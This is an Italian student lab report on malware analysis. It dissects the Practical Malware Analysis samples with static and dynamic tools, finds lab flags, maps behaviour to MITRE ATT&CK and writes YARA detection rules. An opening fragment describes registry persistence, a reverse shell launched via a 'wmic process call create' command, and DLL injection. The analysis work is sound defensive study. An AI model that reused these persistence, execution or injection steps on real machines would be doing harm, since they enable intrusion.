Startup	REG_SZ	C:\Users\Public\Libraries\raw\launcher.lnk
Templates	REG_SZ	C:\Users\unina\AppData\Roaming\Microsoft\Win...

La persistenza va ad aggiungere al mapping del mitree una nuova TTP: In particolare una Tattica di tipo "Persistence", tramite Tecnica T1547, creando elementi di avvio automatico per la persistenza.

Al fine di aggiungere WMI per poter avviare lo script è rimosso il comando che avviava il launcher LNK ed è stato aggiunto alla fine dello script il seguente comando:

```
wmic process call create "%PATH_EXTEXPORT_EXE% %EXTEXPORT_ARGS%
```

Il comando crea ed esegue un nuovo processo usando il programma il cui percorso è specificato nella variabile PATH_EXTEXPORT_EXE con gli argomenti forniti in EXTEXPORT_ARGS. Ed è possibile notare che adesso, all'esecuzione della reverse shell ci troveremo direttamente nella cartella system32 e all'interno dell'event Viewer di windows sarà possibile notare delle nuove WMI Activities.

Anche in questo caso aggiungiamo un ulteriore riga al mitre mapping. In particolare una Tattica di tipo "Execution", tramite Tecnica T1047, secondo la quale viene utilizzata WMIC per eseguire payload.

Lab 6 – Basic Malware

La Basic Malware Analysis coinvolge diverse fasi per comprendere il comportamento, la struttura e l'impatto potenziale di un software dannoso. Si inizia ottenendo un campione del malware, poi si procede con l'analisi statica e dinamica. Successivamente, si analizza il codice attraverso tecniche di reverse engineering per comprendere le istruzioni e le funzioni chiave. Infine, si documentano i risultati e si prendono misure di mitigazione e risposta.

Lab01-01 – Challenge principale

- **Uno dei due file corrisponde a qualche signature di antivirus esistenti?**

Sia il .exe che il .dll vengono correttamente riconosciuti da VirusTotal il quale ne riporta la signature:

- **Quando sono stati compilati questi file?**

La data di compilazione è presente nel primo flag: PE Header, leggibile tramite il tool PE View. Abbiamo così ottenuto il **Flag 1.**

pFile	Data	Description	Value
000000EC	014C	Machine	IMAGE_FILE_MACHINE_I386
000000EE	0003	Number of Sections	
000000F0	4D0E2FD3	Time Date Stamp	2010/12/19 Sun 16:16:19 UTC
000000F4	00000000	Pointer to Symbol Table	
000000F8	00000000	Number of Symbols	
000000FC	00E0	Size of Optional Header	
000000FE	010F	Characteristics	
		0001	IMAGE_FILE_RELOCS_STRIPPED
		0002	IMAGE_FILE_EXECUTABLE_IMAGE
		0004	IMAGE_FILE_LINE_NUMS_STRIPPED
		0008	IMAGE_FILE_LOCAL_SYMS_STRIPPED
		0100	IMAGE_FILE_32BIT_MACHINE

È possibile ricavare tale informazione anche nella sezione Details di VirusTotal, sotto la voce header.

- **Ci sono indicazioni che uno di questi file sia packed o offuscato? Se sì, quali sono questi indicatori?**

Tramite il tool PEId, è possibile ottenere degli indizi sul fatto se il malware è packed. Esso può rilevare packer, cryptor o compilatori utilizzati per creare il file eseguibile. Inoltre, ci consente di trovare il **Flag 2 "First Bytes".**

Tuttavia, tale risultato non basta. L'unica informazione che si riesce a ricavare è quella che il file è stato compilato utilizzando Microsoft Visual C++ 6.0.

Utilizziamo allora dependency walker per l'analisi delle dll importate:

La presenza di così tante Dll è l'assenza di un packer trovato da PEiD lascia pensare che il file non è packed. Questa ipotesi viene ulteriormente avvalorata dal fatto che non vi è una discrepanza significativa tra la dimensione dei Raw Data e la Virtual Size.

- **Ci sono degli import che suggeriscono cosa fa questo malware? Se sì, di quali import si tratta?**

Andando ad analizzare le stringhe presenti nell'eseguibile tramite il tool BinText, si può notare la presenza di:

• FindNextFileA

• FindFirstFileA

• CopyFileA

FindFirstFileA e **FindNextFileA** possono essere utilizzate da malware per cercare e individuare determinati tipi di file nel sistema, come file di configurazione sensibili, file di password o file di sistema critici.

CopyFileA può essere utilizzata da malware per creare copie di file dannosi o per distribuire sé stesso attraverso una rete. Permetterebbe al malware di copiare se stesso in una posizione diversa del sistema per eludere la rilevazione dell'antivirus o potrebbe copiare file dannosi nei percorsi di avvio per garantire l'esecuzione automatica al riavvio del sistema.

Un'altra stringa particolare è la presenza della **dll kerne132**, che va ad utilizzare il numero 1 al posto della l nel nome, provando a confondere l'analisi ed è quindi molto probabilmente una dll fittizia e malevola.

000000003010	000000403010	0	kerne132.dll
000000003020	000000403020	0	kernel32.dll
00000000304C	00000040304C	0	C:\windows\system32\kerne132.dll

Andando invece ad analizzare il file dll, si può notare la presenza di:

• **Sleep**: Viene utilizzata per mettere in pausa l'esecuzione di un programma per un determinato periodo di tempo, il che potrebbe essere utilizzato dal malware per ritardare determinate azioni o per evitare il rilevamento da parte degli strumenti di sicurezza.

• **CreateProcessA**: Questa stringa potrebbe indicare l'intenzione del malware di creare un nuovo processo utilizzando la funzione **CreateProcessA()** di Windows. Questo potrebbe essere utilizzato per avviare altri programmi o processi, il che potrebbe essere una parte della tattica del malware per ottenere privilegi elevati o per eseguire ulteriori azioni dannose sul sistema.

• **sleep**: Potrebbe essere una variante della stringa "Sleep".

• **hello**: Questa stringa potrebbe essere utilizzata come segnaposto o firma nel codice del malware. Talvolta i creatori di malware inseriscono stringhe innocue come "hello" all'interno del loro codice, probabilmente per scopi di debug o per identificare la propria creazione.

Oltre a quest'ultime si nota anche la presenza del **Flag 3**, ovvero l'indirizzo IP:

Si è notata anche la presenza di **CreateFileMappingA**, funzione della Windows API utilizzata per creare oggetti di mappatura di file in memoria condivisa. Sebbene legittima e utile per la condivisione di dati tra processi, può essere sfruttata in modo malevolo per l'iniezione di codice, l'esposizione di dati sensibili, la persistenza del malware e gli attacchi di tipo fileless.

Possiamo utilizzare anche Dependency Walker, notando come le funzioni trovare in precedenza con BinText compaiono anche in questo caso. Ancora più importante è la libreria WS2_32.dll:

Troviamo WS2_32.dll, una libreria di Windows che fornisce le API per la comunicazione di rete. Questa libreria contiene funzioni e strumenti per la creazione, la gestione e la comunicazione con le connessioni di rete. In particolare, l'utilizzo delle funzioni accept, bind e connect potrebbe essere un campanello di allarme.

Queste funzioni sono tipicamente utilizzate nella programmazione delle socket per stabilire e gestire connessioni di rete, e potrebbero indicare che il malware ha funzionalità di comunicazione in rete.

• **accept**: Questa funzione viene utilizzata per accettare una nuova connessione in arrivo su una socket. Se il malware utilizza questa funzione, potrebbe significare che il malware stesso agisce come un server, consentendo a client esterni di connettersi ad esso.

• **bind**: La funzione bind viene utilizzata per associare un indirizzo IP e un numero di porta a una socket. Questo è un passo necessario prima di chiamare listen o connect. Se il malware utilizza bind, potrebbe significare che sta cercando di legarsi a un'interfaccia di rete specifica per ascoltare o inviare dati.

• **connect**: Questa funzione viene utilizzata per iniziare una connessione a un altro endpoint (come un server) su una socket. Se il malware utilizza connect, potrebbe significare che sta cercando di stabilire una connessione con un server remoto o con un altro dispositivo sulla rete.

L'uso di queste funzioni suggerisce un'attività di comando e controllo remoto oppure lo sfruttamento di risorse di rete dell'host infetto, o l'esecuzione di attività di scansione e di propagazione attraverso la rete.

Infine, il nome della funzione coperta, com'evince dall'immagine seguente, è **OpenMutexA**, trovando così anche il **Flag 4.**

Questa funzione indica che il malware potrebbe essere coinvolto in operazioni avanzate di controllo e gestione, come la gestione dell'accesso concorrente alle risorse o la comunicazione con altre istanze del malware.

- **Ci sono altri file o indicatori host-based utili da cercare su sistemi infetti?**

Il file denominato “Kerne132.dll” che dovrebbe essere una versione cammuffata di “Kernel32.dll” e il file “Lab01-01.DLL” che non è una DLL comune del sistema operativo.

- **Quali indicatori network-based potrebbero essere utilizzati per trovare questo malware sulle macchine infette?**

Sicuramente l’indirizzo ip trovato:

A 000000002194	000010002194	0	malloc
A 00000000219E	00001000219E	0	_adjust_fdiv
A 000000026018	000010026018	0	sleep
A 000000026020	000010026020	0	hello
A 000000026028	000010026028	0	127.26.152.13
A 000000026038	000010026038	0	SADFHUHF
A 000000027008	000010027008	0	/0l0[0h0p0
A 000000027029	000010027029	0	141G1[1l1
A 000000027039	000010027039	0	1Y2a2g2r2
A 00000002705B	00001002705B	0	3!3}3

Azioni utili al fine specificato potrebbero essere:

• Comunicazioni con l’indirizzo IP sospetto: Esaminare tutte le comunicazioni in entrata e in uscita verso e da questo indirizzo IP.

• Pattern di traffico anomalo: Osservare attentamente il traffico di rete per individuare comportamenti anomali, come picchi improvvisi di attività, comunicazioni inusuali o modelli di connessione non tipici.

- **Secondo te qual è lo scopo di questi file?**

Sembrerebbe che Lab01-01.exe insieme all’estensione Lab01-01.dll sia un malware che crea una backdoor e si connette a un server C&C per trasferire informazioni critiche. Entrambi i file non sono compressi e Lab01-01.exe cerca un particolare file sia all’interno che all’esterno delle directory, sostituendolo con un file mascherato.

Importa funzioni da KERNEL32.DLL e utilizza funzioni di rete per stabilire connessioni. Inoltre, utilizza le funzioni exec per eseguire altri programmi/file e sleep per attendere l’esecuzione di istruzioni o parti di codice, comuni nelle backdoor.

Lab01-04.exe

Abbiamo analizzato nuovamente il .exe tramite virustotal

Il numero di imports è sostanzioso, il che ci fa pensare che il virus non sia packed.

L'analisi è proseguita caricando il file su PEiD, in modo da verificare la presenza di qualche packer.

Che non ne rileva alcuno.

Extra Flag 5: Find the downloaded file

Utilizzando BinText:

Il malware prova a scaricare il file *updater.exe* da *practicalmalwareanalysis.com*.

Extra Flag 6: Find the imported function

Per trovare la funzione importata, si è utilizzato Dependency walker. Wintrust.dll è presente sotto advapi32.dll e la funzione che va ad importare che finisce per trust è: WinVerifyTrust.

Extra Flag 7: Find the datestamp

Grazie a PEview ci dice che il file è stato compilato in data 2019/08/30 alle 22:26:59 UTC.

Key.exe

Eseguiamo l'analisi di Key.exe tramite PEview e sulla base delle informazioni ricavate si possono fare alcune ipotesi sulle funzionalità e obiettivi del malware:

• **Attacco basato su keylogger:** "key.exe" suggerisce che il malware potrebbe essere un keylogger.

• **Utilizzo di file di log:** La presenza del file "log.txt" indica che il malware potrebbe registrare le sue attività o potrebbe essere utilizzato per comunicare con i server di comando e controllo.

• **Manipolazione dell'architettura del sistema:** Il file "C:\\Windows\\vmx32to64.exe" potrebbe essere utilizzato per eseguire operazioni di manipolazione del sistema, come la conversione tra architetture a 32 e 64 bit, usato per nascondere il malware.

Queste informazioni indicano che il malware potrebbe essere progettato per rubare informazioni sensibili dagli utenti, con un'enfasi particolare sulla cattura delle tastiere. La presenza di file di log e strumenti per manipolare l'ambiente del sistema potrebbe indicare che il malware è abbastanza sofisticato e potrebbe essere utilizzato per attacchi mirati.

Basic Dynamic Analysis

Procediamo con l'analisi dinamica. Come richiesto è stato eseguito key.exe come amministratore per attivare i meccanismi di persistenza. **Flag 8**: *conhost.exe*

Analizzando con **ProcMon** è possibile vedere quali sono gli step che esegue il malware, in particolare crea alcuni file. Nell'immagine seguente sono evidenziate tutte le operazioni di CreateFile.

Inoltre, ottiene la persistenza modificando il Run Registry Key. Il path della key e il flag sono mostrati di seguito. Otteniamo dunque il **Flag 9:** *RegSetValue*

Run the keylogger

Il funzionamento del malware è mostrato di seguito, come è possibile vedere ogni carattere scritto dall'utente viene riportato sul file log.txt a conferma delle ipotesi precedenti.

Persistence

Come indicato si è fatto "Kill process" di key.exe da Process Explorer.

Si è riavviata la macchina per verificare la persistenza dell'attacco. Come ci si aspettava il malware è ancora in esecuzione nonostante il riavvio.

Troviamo il **Flag 10** Visualizzando gli Handles nella sezione View -> Lower Pane View -> Handles: *ControlSet001*

Removing Persistence

Utilizzando il Registry Editor (REGEDIT) è possibile visualizzare il flag nascosto, nonchè il tipo ed eliminare tale entry.

Riavviando la macchina è possibile vedere da Process Explorer come il file non sia in esecuzione, la persistenza è stata rimossa con successo. **Flag 11:** *(REG_SZ)*

Key12.exe

Avviando Process Monitor ed eseguendo key12.exe è possibile vedere il **Flag 12** nascosto (*webkit*)

DNS traffic

Utilizzando Wireshark è possibile analizzare il traffico, in particolare dal traffico DNS è stato possibile visualizzare il primo flag richiesto. **Flag 13:** *flag 1*

Analizzando il traffico HTTP è stato possibile reperire il secondo flag. **Flag 14:** *flag 2*

Capa: Lab01-01.exe

```
C:\Users\unina\Downloads>capa.exe C:\Users\unina\Desktop\Labs\malware-basic\Lab01-01.exe
```

md5	bb7425b82141a1c0f7d60e5106676bb1
sha1	9dce39ac1bd36d877fdb0025ee88fdaff0627cdb
sha256	58898bd42c5bd3bf9b1389f0eee5b39cd59180e8370eb9ea838a0b327bd6fe47
analysis	static
os	windows
format	pe
arch	i386
path	C:/Users/unina/Desktop/Labs/malware-basic/Lab01-01.exe

ATT&CK Tactic	ATT&CK Technique
DISCOVERY	File and Directory Discovery T1083

MBC Objective	MBC Behavior
DISCOVERY	Code Discovery::Enumerate PE Sections [B0046.001] File and Directory Discovery [E1083]
FILE SYSTEM	Copy File [C0045] Read File [C0051]
PROCESS	Terminate Process [C0018]

Capability	Namespace
copy file	host-interaction/file-system/copy
enumerate files recursively	host-interaction/file-system/files/list
read file via mapping (2 matches)	host-interaction/file-system/read
terminate process (2 matches)	host-interaction/process/terminate
enumerate PE sections	load-code/pe
resolve function by parsing PE exports	load-code/pe

Lab01-01.dll

È stata eseguita un'analisi con Capa anche di Lab01-01.dll, scoprendo il **Flag 15:** *check mutex,* nella lista di capability.

md5	290934c61de9176ad682ffdd65f0a669
sha1	a4b35de71ca20fe776dc72d12fb2886736f43c22
sha256	f50e42c8dfaab649bde0398867e930b86c2a599e8db83b8260393082268f2dba
analysis	static
os	windows
format	pe
arch	i386
path	C:/Users/unina/Desktop/Labs/malware-basic/Lab01-01.dll

MBC Objective	MBC Behavior
COMMAND AND CONTROL	C2 Communication::Receive Data [B0030.002] C2 Communication::Send Data [B0030.001]
COMMUNICATION	Socket Communication::Connect Socket [C0001.004] Socket Communication::Create TCP Socket [C0001.011] Socket Communication::Initialize Winsock Library [C0001.009] Socket Communication::Receive Data [C0001.006] Socket Communication::Send Data [C0001.007] Socket Communication::TCP Client [C0001.008]
PROCESS	Check Mutex [C0043] Create Mutex [C0042] Create Process [C0017]

Capability	Namespace
receive data	communication
send data	communication
initialize Winsock library	communication/socket
act as TCP client	communication/tcp/client
check mutex	host-interaction/mutex
create mutex	host-interaction/mutex
create process on Windows	host-interaction/process/create

L'analisi di capa indica che il file sospetto ha varie capacità tipiche dei malware, tra cui:

• **Comunicazione con il Server di Comando e Controllo (C2):** ricevere e inviare dati.

• **Interazione con la Rete:** creazione di socket e utilizzo della libreria Winsock.

• **Gestione dei Processi:** creazione e verifica di mutex e processi.

Capa - Lab01-04.exe:

Otteniamo qui l'ultimo **Flag 16:** *Privilage escalation*

ATT&CK Tactic	ATT&CK Technique
DISCOVERY	File and Directory Discovery:: T1083
EXECUTION	Shared Modules:: T1129
PRIVILEGE ESCALATION	Access Token Manipulation:: T1134

MBC Objective	MBC Behavior
DEFENSE EVASION	Disable or Evade Security Tools::Bypass Windows File Protection [F0004.007]
EXECUTION	Install Additional Program:: [B0023]
FILE SYSTEM	Move File:: [C0063]
	Writes File:: [C0052]
PROCESS	Create Process:: [C0017]
	Create Thread:: [C0038]

CAPABILITY	NAMESPACE
contain a resource (.rsrc) section	executable/pe/section/rsrc
extract resource via kernel32 functions	executable/resource
contain an embedded PE file	executable/subfile/pe
get common file path (2 matches)	host-interaction/file-system
move file	host-interaction/file-system/move
bypass Windows File Protection	host-interaction/file-system/windows-file-protection
write file on Windows	host-interaction/file-system/write
create process on Windows	host-interaction/process/create
acquire debug privileges	host-interaction/process/modify
modify access privileges	host-interaction/process/modify
create thread	host-interaction/thread/create
link function at runtime on Windows (2 matches)	linking/runtime-linking

Che ci fornisce diverse informazioni per quanto riguardo il MITRE ATT&CK:

File and Directory Discovery (T1083): Il malware è in grado di cercare e raccogliere informazioni su file e directory presenti nel sistema.

Execution - Shared Modules (T1129): Il malware utilizza moduli condivisi per eseguire codice, spesso per evitare il rilevamento o per sfruttare componenti già presenti nel sistema operativo.

Privilage escalation - Access Token Manipulation (T1134): Il malware manipola i token di accesso per ottenere privilegi superiori.

Defense evasion - Bypass Windows File Protection (F0004.007): Il malware evita i meccanismi di protezione dei file di Windows.

Execution - Install Additional Program (B0023): Il malware è in grado di installare altri programmi, potenzialmente scaricando ulteriori payload o strumenti malevoli.

File system

Move File (C0063): Il malware sposta file all'interno del sistema, probabilmente per occultare la sua presenza o per riorganizzare le risorse che utilizza.

Writes File (C0052): Il malware scrive file nel sistema, che può includere la creazione di nuovi file malevoli o la modifica di file esistenti.

Create Process (C0017): Il malware crea nuovi processi

Create Thread (C0038): Il malware crea nuovi thread all'interno di processi esistenti, migliorando la sua capacità di eseguire azioni simultaneamente.

Resource Management

Contain a resource (.rsrc) section: Il malware contiene una sezione risorse (.rsrc) in un file PE (Portable Executable), che può includere dati o codice incorporato.

Extract resource via kernel32 functions: Il malware estrae risorse utilizzando funzioni della libreria kernel32 di Windows.

Embedded Executables - contain an embedded PE file: Il malware include un file PE incorporato, che può essere un ulteriore eseguibile malevolo nascosto all'interno del file principale.

File System Interaction

Get common file path: Il malware accede a percorsi di file comuni, potenzialmente per identificare o manipolare file di interesse.

Move file: Il malware sposta file nel sistema.

Bypass Windows File Protection: Il malware evita le protezioni di Windows sui file di sistema.

Write file on Windows: Il malware scrive file nel sistema operativo Windows.

Process Interaction

Create process on Windows: Il malware crea processi nel sistema operativo Windows.

Acquire debug privileges: Il malware ottiene privilegi di debug, che possono permettergli di monitorare e manipolare altri processi.

Modify access privileges: Il malware modifica i privilegi di accesso, probabilmente per aumentare i propri permessi.

Runtime Linking - link function at runtime on Windows: Il malware collega funzioni a runtime, il che gli permette di caricare dinamicamente codice a esecuzione.

Lab 7 – Windows Malware

Lab05-01.dll

Qual è l'indirizzo di DllMain?

È possibile trovare l'indirizzo di DllMain, trovando prima la funzione nella barra delle funzioni del tool IDA Pro e dopo controllando la barra sottostante che ne indica la location: **Flag 1**

```
1000D02E: DllMain(x,x,x) (Synchronized with Hex View-1)
Current location
```

Usare la finestra Importazioni per navigare verso gethostbyname, a quale indirizzo si trova l'importazione?

L'indirizzo di gethostbyname è il seguente: **Flag 2**

```
.idata:100163CC ?? ?? ?? ??          extrn gethostbyname:dword
```

Quante funzioni chiamano gethostbyname?

La funzione gethostbyname è chiamata da 9 funzioni: **Flag 3**

Directio	Type	Address	Text	
Up	p	sub_10001074:loc_10001...	call	ds:gethostbyname
Up	p	sub_10001074+1D3	call	ds:gethostbyname
Up	p	sub_10001074+26B	call	ds:gethostbyname
Up	p	sub_10001365:loc_10001...	call	ds:gethostbyname
Up	p	sub_10001365+1D3	call	ds:gethostbyname
Up	p	sub_10001365+26B	call	ds:gethostbyname
Up	p	sub_10001656+101	call	ds:gethostbyname
Up	p	sub_1000208F+3A1	call	ds:gethostbyname
Up	p	sub_10002CCE+4F7	call	ds:gethostbyname

Concentrandosi sulla chiamata a gethostbyname situata a 0x10001757, è possibile capire quale richiesta DNS verrà effettuata?

Come suggerito dalle slide, andando in corrispondenza della chiamata e trovando l'indirizzo del puntatore alla stringa contenente il nome del DNS è possibile trovarlo e capire quale richiesta viene effettuata: **Flag 4**

```
10019190  00 20 00 00 5B 54 68 69  73 20 69 73 20 52 44 4F  .·..[This·is·RDO
100191A0  5D 70 69 63 73 2E 70 72  61 74 69 63 61 6C 6D 61  ]pics.praticalma
100191B0  6C 77 61 72 65 61 6E 61  6C 79 73 69 73 2E 63 6F  lwareanalysis.co
100191C0  6D 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  m...............
```

Quanti parametri di ingresso sono stati riconosciuti da IDA Pro per la subroutine a 0x10001656?

La subroutine richiede un solo parametro in input: **Flag 5**

```
.text:10001656 ; DWORD __stdcall sub_10001656(LPVOID lpThreadParameter)
.text:10001656 sub_10001656    proc near               ; DATA XREF: DllMain(x,x,x)+C8↓o
.text:10001656
```

Quante variabili locali ha riconosciuto IDA Pro per la subroutine a 0x10001656?

Il tool riconosce 24 variabili locali: **Flag 5**

```
sub_10001656 proc near

var_675= byte ptr -675h
var_674= dword ptr -674h
hModule= dword ptr -670h
timeout= timeval ptr -66Ch
name= sockaddr ptr -664h
var_654= word ptr -654h
in= in_addr ptr -650h
Str1= byte ptr -644h
var_640= byte ptr -640h
CommandLine= byte ptr -63Fh
Str= byte ptr -63Dh
var_638= byte ptr -638h
var_637= byte ptr -637h
var_544= byte ptr -544h
var_50C= dword ptr -50Ch
var_500= byte ptr -500h
Buf2= byte ptr -4FCh
readfds= fd_set ptr -4BCh
buf= byte ptr -3B8h
var_3B0= dword ptr -3B0h
var_1A4= dword ptr -1A4h
var_194= dword ptr -194h
WSAData= WSAData ptr -190h
lpThreadParameter= dword ptr  4
```

Dove si trova la stringa "\cmd.exe /c"?

```
xdoors_d:10095B34 aCmdExeC        db '\cmd.exe /c ',0      ; DATA XREF: sub_1000FF58+278↑o
xdoors_d:10095B41                 align 4
```

Cosa succede nell'area del codice che fa riferimento alla stringa?

Cliccando sull'area è possibile notare che fa riferimento a due box:

Il comando cmd.exe /c apre una nuova istanza di cmd.exe e il parametro /c gli ordina di eseguire il comando e poi di terminare. Questo suggerisce che probabilmente c'è un costrutto di qualcosa da eseguire da qualche parte nelle vicinanze.

Flag 6 - Message: Andando più sopra è possibile trovare il messaggio "Hi master"

```
xdoors_d:10095B44 aHiMasterDDDDDD db 'Hi,Master [%d/%d/%d %d:%d:%d]',0Dh,0Ah
xdoors_d:10095B44                                       ; DATA XREF: sub_1000FF58+145↑o
xdoors_d:10095B44                 db 'WelCome Back...Are You Enjoying Today?',0Dh,0Ah
xdoors_d:10095B44                 db 0Dh,0Ah
xdoors_d:10095B44                 db 'Machine UpTime  [%-.2d Days %-.2d Hours %-.2d Minutes %-.2d Secon'
xdoors_d:10095B44                 db 'ds]',0Dh,0Ah
xdoors_d:10095B44                 db 'Machine IdleTime [%-.2d Days %-.2d Hours %-.2d Minutes %-.2d Seco'
xdoors_d:10095B44                 db 'nds]',0Dh,0Ah
xdoors_d:10095B44                 db 0Dh,0Ah
xdoors_d:10095B44                 db 'Encrypt Magic Number For This Remote Shell Session [0x%02x]',0Dh,0Ah
xdoors_d:10095B44                 db 0Dh,0Ah,0
xdoors_d:10095C5C ; char asc_10095C5C[]
```

In che modo il malware imposta dword_1008E5C4?

Seguendo gli xref della dword_1008E5C4, la vediamo scritta (tipo w) nella sub_10001656, con il valore di eax

Directio	Type	Address	Text	
Up	w	sub_10001656+22	mov	dword_1008E5C4, eax
Up	r	sub_10007312+E	cmp	dword_1008E5C4, edi
Up	r	sub_1000FF58+270	cmp	dword_1008E5C4, ebx

C'è un confronto tra VersionInformation.dwPlatformId e 2, Quale sistema operativo attiva il malware?

```
.text:100036C3                 push    ebp
.text:100036C4                 mov     ebp, esp
.text:100036C6                 sub     esp, 94h
.text:100036CC                 lea     eax, [ebp+VersionInformation]
.text:100036D2                 mov     [ebp+VersionInformation.dwOSVersionInfoSize], 94h
.text:100036DC                 push    eax             ; lpVersionInformation
.text:100036DD                 call    ds:GetVersionExA
.text:100036E3                 cmp     [ebp+VersionInformation.dwPlatformId], 2
.text:100036EA                 jnz     short loc_100036FA
.text:100036EC                 cmp     [ebp+VersionInformation.dwMajorVersion], 5
.text:100036F3                 jb      short loc_100036FA
.text:100036F5                 push    1
.text:100036F7                 pop     eax
```

Esaminando gli ID della piattaforma di Windows, si nota che si cerca di verificare se "il sistema operativo è Windows NT o successivo", quindi l'id è **WIN32NT: Flag 7.**

Extra tasks

1- Il confronto della stringa con robotwork viene fatto dalla funzione memcmp che restituisce 0 se le stringhe sono uguali. Nel caso di risultato vero vengono effettuati una serie di salti.
2- La funzionalità della sub_10004E79 consiste nell'identificare la lingua utilizzata nel sistema e pertanto sarebbe opportuno rinominarla in qualcosa come getSystemLanguage. Mentre la sub_100038EE passa questa informazione attraverso il SOCKET e il nome potrebbe essere tipo sendSocket.
3- Allo stesso modo di prima si possono vedere le funzioni API richiamate, quelle con profondità 2 sono molte, circa 32 con alcuni duplicati.
4- La funzione sleep viene chiamata per il valore mille moltiplicato per il valore eax. Si puo notare che in eax viene inserito il valore 30. Di conseguenza il totale è il valore 3000 ovvero 30 secondi.
5- Cercando la chiamata all'indirizzo 0x10001701, è possibile passare il cursore sopra e vedere quali sono i parametri della chiamata: af, type e protocol.

Lab07-01.exe

1. Come assicura questo programma di continuare a funzionare quando il computer viene riavviato?

Il programma crea un servizio chiamato "Malservice". Stabilisce la connessione al gestore del controllo del servizio (OpenSCManagerA) che richiede i permessi di amministratore; quindi, ottiene l'handle del processo corrente (GetCurrentProcess), ottiene il nome del file (GetModuleFileNameA) e infine Crea il servizio denominato "Malservice" che si avvia automaticamente ogni volta. (CreateServiceA)

2. Perché questo programma utilizza un mutex?

Il programma utilizza il mutex per non reinfettare di nuovo la stessa macchina. Apre il mutex (OpenMutexA) con il nome "HGL345" con MUTEX_ALL_ACCESS. Se l'istanza è già stata creata, termina il programma, altrimenti ne crea una.

3. Qual è una buona firma host-based per rilevare questo programma?

La firma basata sull'host è il mutex "HGL345" e il servizio "Malservice", che avvia il programma.

4. Qual è una buona firma network-based per rilevare questo malware?

È possibile trovare la firma network based all'interno del codice che si scopre essere la connessione al server "malwareanalysisbook":

```
; Attributes: noreturn

; DWORD __stdcall StartAddress(LPVOID lpThreadParameter)
StartAddress proc near

lpThreadParameter= dword ptr  4

push    esi
push    edi
push    0               ; dwFlags
push    0               ; lpszProxyBypass
push    0               ; lpszProxy
push    INTERNET_OPEN_TYPE_DIRECT ; dwAccessType
push    offset szAgent  ; "Internet Explorer 8.0"
call    ds:InternetOpenA
mov     edi, ds:InternetOpenUrlA
mov     esi, eax
```

```
loc_40116D:             ; dwContext
push    0
push    INTERNET_FLAG_RELOAD ; dwFlags
push    0               ; dwHeadersLength
push    0               ; lpszHeaders
push    offset szUrl    ; "http://www.malwareanalysisbook.com"
push    esi             ; hInternet
call    edi ; InternetOpenUrlA
jmp     short loc_40116D
StartAddress endp
```

5. Qual è lo scopo di questo programma?

Lo scopo sembra essere quello di aspettare 2100 anni, creare tanti thread che si connettono al server; quindi, potrebbe essere un attacco DDoS alla pagina web.

6. Quando terminerà l'esecuzione di questo programma?

Il programma attenderà circa 2100 anni per terminare.

```
push    ecx             ; lpSystemTime
mov     dword ptr [esp+40Ch+SystemTime.wSecond], edx
mov     [esp+40Ch+SystemTime.wYear], 2100
call    ds:SystemTimeToFileTime
push    0               ; lpTimerName
```

Process Injection

Analizzare il malware trovato nel file Lab12-01.exe e Lab12-01.dll e rispondere alle seguenti domande:

Domanda 1: Cosa succede quando si esegue l'eseguibile del malware?

Al fine di eseguire il malware, si è optato per l'utilizzo del tool Xenos che ha permesso l'injection del malware nel processo di BinText versione 32 bit:

A quel punto, all'avvio del processo BinText verrà eseguito anche il malware.

Ciò che succede sarà l'apparizione di messaggi di pop-up dopo ogni minuto.

Domanda 2: Quale processo viene iniettato?

Per poter capire quale processo viene iniettato sono state svolte delle analisi preliminari, tra cui l'analisi delle stringhe con il tool BinText che ha permesso di trovare le stesse stringhe presenti nel popup:

Mentre, cercando tra gli imports del file Lab12-01.dll, abbiamo:

• **Sleep**: Il malware attende prima di eseguire il suo obiettivo; infatti, nella sua esecuzione notiamo un'attesa di circa 1 minuto.

• **MessageBoxA**: Il malware visualizza un messaggio all'utente.

• **CreateThread**: Il malware utilizzerà i thread, infatti non si limiterà al singolo pop-up

Continuando l'analisi con il tool IDA, come mostrato nelle slide, possiamo andare a trovare il processo iniettato vero e proprio, che si è scoperto essere Explorer.exe

Domanda 3: Come si può fare in modo che il malware interrompa i pop-up?

Per fare in modo che il malware interrompa il suo funzionamento, si può cercare attraverso il process explorer la dll che lo esegue e dopodichè fare in modo di sospendere il processo:

Poiché il malware non sembra aggiungere la persistenza, basterà questo.

Domanda 4: Il funzionamento del malware

Come visto grazie alle domande precedenti il malware esegue l'iniezione di DLL in explorer.exe (o in qualsiasi processo si sia utilizzato, nel mio caso binText) per eseguire Lab12-01.dll. La .dll è responsabile delle caselle di messaggio che appaiono come pop-up.

Lab 8 –Malware Detection

Regole Lab01-01

Scrivere una regola YARA per trovare Lab01-01.dll, utilizzando i seguenti indicatori basati sull'host:

• Nome del mutex

• Indirizzo IP

• È possibile includere stringhe "specifiche" (almeno 2+ di esse devono corrispondere)

Partendo quindi dal file dll, è possibile cercare le stringhe grazie al tool IDAPro, il nome del Mutex è presente nel metodo *CreateMutexA:*

```
push    offset Name          ; "SADFHUHF"
push    eax                  ; bInitialOwner
push    eax                  ; lpMutexAttributes
call    ds:CreateMutexA
lea     ecx, [esp+1208h+WSAData]
push    ecx                  ; lpWSAData
push    202h                 ; wVersionRequested
call    ds:WSAStartup
test    eax, eax
jnz     loc_100011E8
```

Mentre nel metodo connect è possibile trovare l'IP:

```
push    offset cp            ; "127.26.152.13"
mov     Set node color name.sa_family], 2
call    ds:inet_addr
push    50h ; 'P'            ; hostshort
mov     dword ptr [esp+120Ch+name.sa_data+2], eax
call    ds:htons
lea     edx, [esp+1208h+name]
push    10h                  ; namelen
push    edx                  ; name
push    esi                  ; s
mov     word ptr [esp+1214h+name.sa_data], ax
call    ds:connect
cmp     eax, 0FFFFFFFFh
jz      loc_100011DB
```

Mentre tramite binText:

000000026018	000010026018	0	sleep
000000026020	000010026020	0	hello

Trovate le stringhe è possibile scrivere la regola YARA

```
rule Rule_lab01_dll{
    meta:
        description = "Lab01_01.dll"
        author = "Marco"
        date = "2024-06-29"
    strings:
        $s1 = "SADFHUHF" fullword ascii
        $s2 = "127.26.152.13" fullword ascii
        $o3 = "hello" fullword ascii
        $o4 = "sleep" fullword ascii
    condition:
        filesize < 500KB and
        (all of them) or (any of ($s*))
}
```

Scrivere un'altra regola YARA per trovare il file Lab01-01.exe contenente:

• Percorso di una DLL dannosa (stringa "molto specifica")

• Un messaggio stampato dal malware (stringa "molto specifica")

Allo stesso modo di prima è possibile trovare le stringhe, questa volta sono state trovate direttamente con BinText:

A 00000000304C	00000040304C	0	C:\windows\system32\kernel32.dll
A 000000003070	000000403070	0	Kernel32.
A 00000000307C	00000040307C	0	Lab01-01.dll
